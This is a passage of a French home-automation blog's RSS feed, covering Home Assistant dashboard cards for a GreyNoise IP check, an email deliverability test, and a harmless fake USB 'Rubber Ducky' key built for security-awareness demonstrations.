<p>L’état principal est le champ <code>status</code>. Chez moi, par exemple, j’obtiens <code>not_found</code>. C’est cette valeur qui devient l’état du capteur dans Home Assistant. Le endpoint public GreyNoise renvoie bien ce champ de statut dans sa réponse JSON.</p>
<p>À côté de cela, j’ai plusieurs attributs utiles :</p>
<ul>
<li><strong>ip</strong> : l’adresse IP publique détectée.</li>
<li><strong>classification</strong> : la classification éventuelle.</li>
<li><strong>noise</strong> : indique si l’IP est considérée comme faisant partie du bruit Internet.</li>
<li><strong>common_business_services</strong> : indique si l’IP est liée à des services d’entreprise connus.</li>
<li><strong>trust_level</strong> : un indicateur supplémentaire quand il est disponible.</li>
<li><strong>error</strong> : un message d’information, par exemple “ip not found”.</li>
</ul>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mes cartes Lovelace</h2>
<p>Une fois le capteur créé, je voulais surtout un affichage agréable dans le dashboard. Je me suis donc fait une petite page dédiée avec plusieurs cartes pour tester les rendus.</p>
<p>J’ai utilisé à la fois Mushroom, Button Card et une carte Markdown. Cela m’a permis de comparer un style plus “sobre”, un style plus “visuel”, et un style plus “informatif”.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f344.png" alt="🍄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Carte Mushroom</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11227" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-130555.png" alt="" width="457" height="115" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-130555.png 457w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-130555-300x75.png 300w" sizes="auto, (max-width: 457px) 100vw, 457px" /></p>
<p>La première carte que j’ai faite est une carte Mushroom basée sur le capteur réel :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">type: custom:mushroom-template-card
entity: sensor.greynoise_ip_check
primary: &gt;
  {% set c = state_attr(entity, 'classification') %}
  {% if c == 'malicious' %}
    GreyNoise : activité malveillante
  {% elif c == 'suspicious' %}
    GreyNoise : activité suspecte
  {% elif c == 'benign' %}
    GreyNoise : service légitime
  {% elif states(entity) in ['not_found', 'unknown', 'unavailable'] %}
    GreyNoise : aucune activité connue
  {% else %}
    GreyNoise : {{ states(entity) }}
  {% endif %}
secondary: &gt;
  {% set ip = state_attr(entity, 'ip') or 'IP inconnue' %}
  {% set classif = state_attr(entity, 'classification') or 'aucune' %}
  {% set noise = state_attr(entity, 'noise') %}
  {% set cbs = state_attr(entity, 'common_business_services') %}
  IP : {{ ip }} • Classification : {{ classif }} • Noise : {{ noise }} •
  Services connus : {{ cbs }}
icon: &gt;
  {% set c = state_attr(entity, 'classification') %}
  {% if c == 'malicious' %}
    mdi:shield-alert
  {% elif c == 'suspicious' %}
    mdi:shield-search
  {% elif c == 'benign' %}
    mdi:shield-check
  {% else %}
    mdi:shield-check-outline
  {% endif %}
icon_color: &gt;
  {% set c = state_attr(entity, 'classification') %}
  {% if c == 'malicious' %}
    red
  {% elif c == 'suspicious' %}
    orange
  {% elif c == 'benign' %}
    teal
  {% else %}
    green
  {% endif %}
multiline_secondary: true
fill_container: true
tap_action:
  action: more-info</pre>
<p>J’aime beaucoup cette carte parce qu’elle est facile à lire. En un coup d’œil, je vois un message clair, une icône adaptée et une couleur cohérente.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Cartes fictives</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11230" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124.png" alt="" width="459" height="179" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124.png 459w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131124-300x117.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></p>
<p>Pour comparer les états visuellement, j’ai aussi créé quelques cartes purement fictives. Cela permet de voir à quoi ressembleraient les différents cas sans attendre qu’ils se produisent réellement.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">type: vertical-stack
cards:
  - type: custom:mushroom-template-card
    primary: Fictif - malicious
    secondary: "IP : 45.67.89.10 • malicious • noise: true"
    icon: mdi:shield-alert
    icon_color: red
    multiline_secondary: true

  - type: custom:mushroom-template-card
    primary: Fictif - benign
    secondary: "IP : 1.1.1.1 • benign • noise: false"
    icon: mdi:shield-check
    icon_color: teal
    multiline_secondary: true

  - type: custom:mushroom-template-card
    primary: Fictif - not found
    secondary: "IP : 82.65.100.200 • not_found • noise: false"
    icon: mdi:shield-check-outline
    icon_color: green
    multiline_secondary: true</pre>
<p>C’est tout bête, mais très utile quand on construit une interface : on peut choisir le style avant même d’avoir un cas réel.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a8.png" alt="🎨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Carte Button Card</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11233" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131446.png" alt="" width="468" height="101" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131446.png 468w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131446-300x65.png 300w" sizes="auto, (max-width: 468px) 100vw, 468px" /></p>
<p>Ensuite, j’ai voulu quelque chose de plus visuel, presque comme une carte d’alerte. J’ai donc utilisé Button Card.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">type: custom:button-card
entity: sensor.greynoise_ip_check
name: |
  [[[
    const c = entity?.attributes?.classification;
    if (c === 'malicious') return 'GreyNoise - activité malveillante';
    if (c === 'suspicious') return 'GreyNoise - activité suspecte';
    if (c === 'benign') return 'GreyNoise - service légitime';
    return 'GreyNoise - aucune activité connue';
  ]]]
icon: |
  [[[
    const c = entity?.attributes?.classification;
    if (c === 'malicious') return 'mdi:shield-alert';
    if (c === 'suspicious') return 'mdi:shield-search';
    if (c === 'benign') return 'mdi:shield-check';
    return 'mdi:shield-check-outline';
  ]]]
show_state: true
state_display: |
  [[[
    return entity?.state || 'unknown';
  ]]]
label: |
  [[[
    const ip = entity?.attributes?.ip || 'IP inconnue';
    const c = entity?.attributes?.classification || 'aucune';
    const noise = entity?.attributes?.noise;
    const cbs = entity?.attributes?.common_business_services;
    return `IP ${ip} • ${c} • noise: ${noise} • common business: ${cbs}`;
  ]]]
show_label: true
tap_action:
  action: more-info
styles:
  card:
    - padding: 18px
    - border-radius: 20px
    - color: white
    - background: |
        [[[
          const c = entity?.attributes?.classification;
          if (c === 'malicious') return 'linear-gradient(135deg, #b71c1c 0%, #e53935 100%)';
          if (c === 'suspicious') return 'linear-gradient(135deg, #ef6c00 0%, #ffa726 100%)';
          if (c === 'benign') return 'linear-gradient(135deg, #00695c 0%, #26a69a 100%)';
          return 'linear-gradient(135deg, #2e7d32 0%, #66bb6a 100%)';
        ]]]
  grid:
    - grid-template-areas: "\"i n\" \"i s\" \"l l\""
    - grid-template-columns: 60px 1fr
    - grid-template-rows: min-content min-content min-content
  icon:
    - width: 42px
    - color: white
  name:
    - justify-self: start
    - font-size: 18px
    - font-weight: 700
  state:
    - justify-self: start
    - font-size: 15px
    - font-weight: 500
  label:
    - justify-self: center
    - text-align: center
    - width: 100%
    - font-size: 13px
    - opacity: 0.92</pre>
<p>Cette carte est très sympa, surtout quand on veut quelque chose qui attire un peu plus l’œil. J’ai d’ailleurs ajusté la ligne du bas pour qu’elle soit centrée, ce qui améliore vraiment le rendu.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Carte Markdown récapitulative</h3>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11235" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131623.png" alt="" width="451" height="332" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131623.png 451w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/03/Capture-decran-2026-03-29-131623-300x221.png 300w" sizes="auto, (max-width: 451px) 100vw, 451px" /></p>
<p>Enfin, j’ai ajouté une carte Markdown pour afficher toutes les informations de manière lisible :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="yaml">type: markdown
content: &gt;-
  {% set e = 'sensor.greynoise_ip_check' %}

  ## Rapport complet GreyNoise

  - **État** : {{ states(e) }}

  - **IP** : {{ state_attr(e, 'ip') or 'inconnue' }}

  - **Classification** : {{ state_attr(e, 'classification') or 'aucune' }}

  - **Bruit Internet** : {{ state_attr(e, 'noise') }}

  - **Services connus** : {{ state_attr(e, 'common_business_services') }}

  - **Niveau de confiance** : {{ state_attr(e, 'trust_level') or '--' }}

  - **Message d'information** : {{ state_attr(e, 'error') or 'aucun' }}

  ---

  - **Dernière exécution de la requête** : {{
  relative_time(states[e].last_updated) }}

  - **Horodatage de la dernière exécution** : {{
  as_local(states[e].last_updated).strftime('%d/%m/%Y %H:%M:%S') }}</pre>
<p>J’aime bien cette carte parce qu’elle est très claire, surtout pour du diagnostic.</p>
<p>En plus, j’y ai ajouté la notion de temps écoulé depuis la dernière mise à jour, ce qui est pratique pour savoir quand la requête a été réellement exécutée.</p>
<p>Les propriétés <code>last_updated</code> et <code>last_changed</code> sont bien disponibles dans le moteur de templates Home Assistant pour ce type d’usage.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ce que j’ai retenu de cette intégration</h2>
<p>Ce petit projet m’a rappelé quelque chose d’important : en domotique, le plus important n’est pas toujours la méthode théoriquement la plus élégante, mais celle qui fonctionne réellement chez soi de manière fiable.</p>
<p>Au départ, je voulais partir sur du REST. Finalement, c’est le capteur en ligne de commande qui m’a permis d’obtenir un résultat stable, lisible et facile à maintenir. Et franchement, pour un usage domestique, c’est exactement ce que je cherchais.</p>
<p>J’ai aussi réalisé que ce type d’intégration a une vraie valeur pédagogique. On apprend à récupérer du JSON, à créer un capteur Home Assistant, à exploiter des attributs, à mettre en forme un dashboard, et à transformer une information brute en quelque chose de visuel et compréhensible.</p>
<p>Au final, j&rsquo;ai utilisé la Carte Mushroom dans un petit coin de mon dashboard, d&rsquo;un coup d&rsquo;oeil, je verrai si l&rsquo;icone passe en rouge.</p>
<p>Si le coeur m&rsquo;en dit, je pourrai ajouter le changement d&rsquo;état de sensor.greynoise_ip_check dans les déclencheurs d&rsquo;éventuelles notifications par SMS ou visuelles&#8230;</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusion</h2>
<p>Avec GreyNoise, j’ai ajouté dans Home Assistant une petite brique de contexte réseau que je trouve vraiment intéressante. Ce n’est pas un outil miracle, ni un IDS complet, mais c’est un bon indicateur pour savoir comment mon IP publique est perçue depuis l’extérieur.</p>
<p>J’ai commencé par tester la page de vérification en ligne, puis la requête API en terminal, puis j’ai essayé l’intégration dans Home Assistant. Le capteur REST ne s’étant pas montré concluant dans mon cas, je suis parti sur <code>command_line</code>, et c’est finalement cette méthode qui a fait le job. L’approche décrite est cohérente avec les capacités documentées des intégrations REST et command_line de Home Assistant.</p>
<p>Au final, j’obtiens un capteur simple, quelques attributs utiles, et surtout des cartes Lovelace agréables à lire. Pour moi, c’est exactement le genre d’intégration que j’aime : un sujet un peu technique au départ, mais transformé en quelque chose de concret, visuel et accessible au quotidien.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pour aller plus loin :</h2>
<ul>
<li style="list-style-type: none;">
<ul>
<li><a href="https://viz.greynoise.io/" target="_blank" rel="noopener">https://viz.greynoise.io/</a></li>
<li><a href="https://check.labs.greynoise.io/" target="_blank" rel="noopener">https://check.labs.greynoise.io/</a></li>
<li><a href="https://ougier.net/cyber-zombies-votre-routeur-est-il-un-soldat-pour-un-botnet/" target="_blank" rel="noopener">https://ougier.net/cyber-zombies-votre-routeur-est-il-un-soldat-pour-un-botnet/</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我测试我的电子邮件的不受欢迎性（垃圾邮件）</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-teste-lindesirabilite-spam-de-mes-emails</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>杀戮，2024年8月6日 12:24:02 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Microsoft 365]]></category>
		<category><![CDATA[Retex]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=7706</guid>

					<description><![CDATA[Objectif J&#8217;ai eu quelques soucis de configurations de mes serveurs de messagerie. Evidemment, pour faire simple, je mélange tout un tas de choses, un Tenant Microsoft, des noms de domaines chez OVH et des hébergements chez Ionos, à un moment, il y a bien un paramètre de configuration qui bloque. J&#8217;ai découvert un site génial [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2>Objectif</h2>
<p>J&rsquo;ai eu quelques soucis de configurations de mes serveurs de messagerie.</p>
<p>Evidemment, pour faire simple, je mélange tout un tas de choses, un Tenant Microsoft, des noms de domaines chez OVH et des hébergements chez Ionos, à un moment, il y a bien un paramètre de configuration qui bloque.</p>
<p>J&rsquo;ai découvert un site génial qui en quelques secondes vérifie tout pour moi et me dit si les paramètres DNS sont conformes, si les configurations SPF, KDIM, DMARC&#8230; sont au point.<span id="more-7706"></span></p>
<h2>Site utilisé</h2>
<p><a href="https://www.mail-tester.com/" target="_blank" rel="noopener"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7707" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/mail-tester_logo.svg" alt="" width="406" height="87" /></a></p>
<p>Ce site est mignon, simple et particulièrement puissant.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7709" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1.png" alt="" width="1658" height="544" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1.png 1658w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1-600x197.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1-300x98.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1-1024x336.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1-768x252.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail-1-1536x504.png 1536w" sizes="auto, (max-width: 1658px) 100vw, 1658px" /></a></p>
<h2>Principe de fonctionnement</h2>
<p>Le site me donne une adresse mail et je fais un mail à cette adresse, tout simplement puis j&rsquo;appuie sur « Vérifier votre score ».</p>
<h2>Résultat</h2>
<p>A ce stade, j&rsquo;ai tout corrigé, les soucis de déclaration de SPF ou l&rsquo;activation de DMARC.</p>
<p>J&rsquo;ai au final, 10/10</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7710" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2.png" alt="" width="1640" height="512" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2.png 1640w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2-600x187.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2-300x94.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2-1024x320.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2-768x240.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail2-1536x480.png 1536w" sizes="auto, (max-width: 1640px) 100vw, 1640px" /></a></p>
<p>Mais il me reste un point à améliorer :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7711" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3.png" alt="" width="1120" height="510" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3.png 1120w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3-600x273.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3-300x137.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3-1024x466.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail3-768x350.png 768w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /></a></p>
<p>Il s&rsquo;agit de la correspondance entre l&rsquo;enregistrement du pointeur DNS (Type PTR) et le HELO, le site détecte bien que HELO et rDNS ne sont pas identiques :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail4.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7712" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail4.png" alt="" width="607" height="149" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail4.png 607w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail4-600x147.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/08/testmail4-300x74.png 300w" sizes="auto, (max-width: 607px) 100vw, 607px" /></a></p>
<p>Cela semble pouvoir poser des problèmes, par exemple avec la messagerie AOL (il reste encore des dinosaures avec AOL ??) </p>
<p>J&rsquo;ai évidemment fait des recherches pour savoir si cela allait poser des soucis ou pas.</p>
<p>Voici la réponse de Microsoft à cette disconcordance entre HELO et rDNS :</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/exchange/troubleshoot/antispam-and-protection/cannot-send-emails-to-external-recipients" target="_blank" rel="noopener">https://learn.microsoft.com/en-us/exchange/troubleshoot/antispam-and-protection/cannot-send-emails-to-external-recipients</a></li>
</ul>
<p>Microsoft explique en quelques lignes qu&rsquo;ils utilisent plusieurs serveurs pour envoyer des mails et que cela semble être le mode de fonctionnement des grandes plateformes, ils n&rsquo;apportent aucune solution à part contacter le fournisseur de messagerie qui refuserait des mails sur lesquels HELO est différent de rDNS.</p>
<p>Bref, visiblement rien de choquant pour eux, je vais rester ainsi configuré donc.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>假橡胶鸭解释为什么要小心未知的USB闪存驱动器</title>
		<link href="">https://www.sigalou-domotique.fr/zh/fausse-rubber-ducky-pour-expliquer-pourquoi-se-mefier-des-cles-usb-inconnues</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>Thu, 1024年7月11日 18:33:45 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Domotique]]></category>
		<category><![CDATA[Retex]]></category>
		<category><![CDATA[Vide-Grenier]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=7686</guid>

					<description><![CDATA[Quel est mon objectif ? Dans le contexte de formations aux utilisateurs informatiques, il est crucial de les sensibiliser aux risques liés à l&#8217;utilisation de clés USB inconnues. Pour marquer les esprits, une démonstration pratique est souvent plus efficace qu&#8217;un simple discours. C&#8217;est pourquoi je souhaite programmer une clé USB capable de simuler des dommages [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2>Quel est mon objectif ?</h2>
<p>Dans le contexte de formations aux utilisateurs informatiques, il est crucial de les sensibiliser aux risques liés à l&rsquo;utilisation de clés USB inconnues.</p>
<p>Pour marquer les esprits, une démonstration pratique est souvent plus efficace qu&rsquo;un simple discours. C&rsquo;est pourquoi je souhaite <strong>programmer une clé USB capable de simuler des dommages sur un ordinateur</strong>, afin de montrer concrètement les dangers encourus.</p>
<p><em><strong>Nota</strong> : A la demande de certains d&rsquo;entre vous, je vous propose de réaliser pour vous la création de cette fausse clé, vous la trouverez donc toute prête, programmée et opérationnelle dans mon vide-grenier. Evidemment, elle n&rsquo;est pas dangereuse !! Lisez la suite pour comprendre ce qu&rsquo;elle fait.</em><span id="more-7686"></span></p>
<h2>Que sont des Rubber Ducky ?</h2>
<p>Les Rubber Ducky sont des clés USB conçues pour simuler un clavier lorsqu&rsquo;elles sont connectées à un ordinateur. Elles sont souvent utilisées par les pirates informatiques pour effectuer des attaques de type « keystroke injection » (injection de frappe), qui consistent à simuler des frappes de clavier pour exécuter des commandes malveillantes sur un ordinateur cible.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7107" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png" alt="" width="180" height="199" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky.png 506w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-271x300.png 271w" sizes="auto, (max-width: 180px) 100vw, 180px" /></a></p>
<p>Les Rubber Ducky sont équipées d&rsquo;un microcontrôleur programmable qui peut stocker des scripts préenregistrés. Lorsqu&rsquo;elles sont connectées à un ordinateur, elles se comportent comme un clavier USB standard et peuvent envoyer des séquences de touches préenregistrées à une vitesse très élevée, ce qui permet d&rsquo;exécuter des commandes complexes en quelques secondes seulement.</p>
<p>Les Rubber Ducky sont souvent utilisées pour des tests d&rsquo;intrusion ou des démonstrations de sécurité informatique, mais elles peuvent également être utilisées à des fins malveillantes, comme le vol de données ou l&rsquo;installation de logiciels malveillants. Il est donc important de sensibiliser les utilisateurs aux risques liés à l&rsquo;utilisation de clés USB inconnues et de prendre des mesures de sécurité appropriées pour protéger les ordinateurs contre les attaques de type « keystroke injection ».</p>
<p>Comme expliqué dans le paragraphe précédent, mon objectif est de sensibiliser les utilisateurs d&rsquo;outils informatiques et leur démontrant la dangerosité d&rsquo;insérer une clé USB inconnue dans leur ordinateur.</p>
<h2>Pourquoi je parle de fausse Rubber Ducky ?</h2>
<p>Les Rubber Ducky sont hors de prix et je cherche une solution abordable pour que le plus grand nombre puisse acheter une clé de sensibilisation. Personne ne mettre ces prix :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7108" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png" alt="" width="505" height="164" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2.png 505w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/Rubber-Ducky-2-300x97.png 300w" sizes="auto, (max-width: 505px) 100vw, 505px" /></a></p>
<h2>Quel équipement ai-je choisi ?</h2>
<p>Je vais utiliser un équipement beaucoup plus léger car il n&rsquo;a que 6k de mémoire, mais cela est suffisant, je ne vais pas lancer de script complexe. C&rsquo;est un Digispark ATTINY85.</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7110" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png" alt="" width="174" height="165" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark.png 337w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark-300x285.png 300w" sizes="auto, (max-width: 174px) 100vw, 174px" /></a></p>
<p>Cet équipement est abordable et fonctionnel.</p>
<p>Sa configuration est un peu complexe, il faut utiliser des drivers qui sont détectés comme dangereux, j&rsquo;ai documenté sa programmation sur un <a href="https://www.sigalou-domotique.fr/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues" target="_blank" rel="noopener">RetEx</a> il y a quelques temps.</p>
<h2>Que va faire cette clé quand on la connecte ?</h2>
<p>Le principe de cette fausse clé USB c&rsquo;est d&rsquo;exécuter un script au moment où on l&rsquo;insère.</p>
<p>Evidemment les pirates vont installer un programme malveillant ou vont exfiltrer des données et les envoyer par internet. Ce n&rsquo;est pas ce que je vais faire, je veux quelque chose de graphique et visuel qui symbolise une intrusion, un piratage en cours et des messages à l&rsquo;écran.</p>
<p>C&rsquo;est réellement à cette étape qu&rsquo;il a fallu que je choisisse quelle actions « classiques » allaient être assez spectaculaires pour faire flipper un utilisateur.</p>
<p>Voici ce que j&rsquo;ai choisi, cette vidéo illustre ce qu&rsquo;il se passe quand on insère la clé (plus du son qui ne s&rsquo;entend pas sur cette capture d&rsquo;écran) :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7128" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif" alt="" width="796" height="336" /></a></p>
<h2>J&rsquo;ai réalisé quelques clés, elles sont à votre disposition</h2>
<p>Evidemment, rien de commercial dans tout cela. Dans un but pédagogique, je vous invite à réaliser la démonstration auprès de vos enfants, parents, amis, collègues. Après la démonstration, ils n&rsquo;insèreront plus une clé inconnue dans leur ordinateur.</p>
<p>J&rsquo;ai fait réaliser par une société qui fait de l&rsquo;impression 3D un petit boitier pour insérer le Digispark, le protéger et lui donner l&rsquo;aspect d&rsquo;une clé USB. Je suis très fier du résultat :</p>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635.jpg"><img loading="lazy" decoding="async" class="aligncenter  wp-image-7692" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635.jpg" alt="" width="752" height="668" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635.jpg 1497w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635-600x533.jpg 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635-300x267.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635-1024x910.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2024/07/20240711_173635-768x682.jpg 768w" sizes="auto, (max-width: 752px) 100vw, 752px" /></a></p>
<p>Au bout de la clé, il y a un trou pour l&rsquo;ajouter à un trousseau de clés par exemple et sur l&rsquo;autre côté, il y a deux trous qui permettent de laisser passer la lumière de la LED verte et de la LED rouge.</p>
<p>Le Digispark coûte entre 4 et 5€, l&rsquo;impression 3D, hors frais de contrôle coute entre 1 et 2€ les deux éléments. Une enveloppe papier bulles (0.20€) et un timbre à 1.29€.</p>
<p>Pour ceux qui me l&rsquo;ont demandé, je peux arriver donc à faire un lot clé USB programmée + envoi payé à 8.50€.</p>
<p>J&rsquo;en ai réalisé 5, j&rsquo;en garde 1 donc si vous en voulez une, contactez moi.</p>
<p>Je les place dans le <a href="https://www.sigalou-domotique.fr/materielavendre" target="_blank" rel="noopener">vide grenier</a>, je suis joignable avec le pseudo Sigalou sur HACF, Jeedom community, Discord, mon mail est donné dans le premier paragraphe du <a href="https://www.sigalou-domotique.fr/materielavendre" target="_blank" rel="noopener">vide grenier</a>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我想提高人们对未知USB闪存驱动器危险的认识。</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-veux-sensibilisation-au-danger-des-cles-usb-inconnues</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>星期六，2024年5月11日 12:48:02 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Domotique]]></category>
		<category><![CDATA[Retex]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=7106</guid>

					<description><![CDATA[﻿ Mon objectif Dans le contexte de formations aux utilisateurs informatiques, il est crucial de les sensibiliser aux risques liés à l&#8217;utilisation de clés USB inconnues. Pour marquer les esprits, une démonstration pratique est souvent plus efficace qu&#8217;un simple discours. C&#8217;est pourquoi je souhaite me procurer une clé USB capable de simuler des dommages sur [&#8230;]]]></description>
										<content:encoded><![CDATA[<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span>
<h2><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-7128" src="https://www.sigalou-domotique.fr/wp-content/uploads/2024/05/digispark2.gif" alt="" width="796" height="336" /></a></h2>
<h2>Mon objectif</h2>
<p>Dans le contexte de formations aux utilisateurs informatiques, il est crucial de les sensibiliser aux risques liés à l&rsquo;utilisation de clés USB inconnues.</p>
<p>Pour marquer les esprits, une démonstration pratique est souvent plus efficace qu&rsquo;un simple discours. C&rsquo;est pourquoi je souhaite me procurer une clé USB capable de simuler des dommages sur un ordinateur, afin de montrer concrètement les dangers encourus.</p>
<p>Les Rubber Ducky sont des clés USB utilisées par les pirates informatiques, mais leur coût est souvent prohibitif. Je cherche donc une solution plus économique pour créer cet outil de sensibilisation.</p>
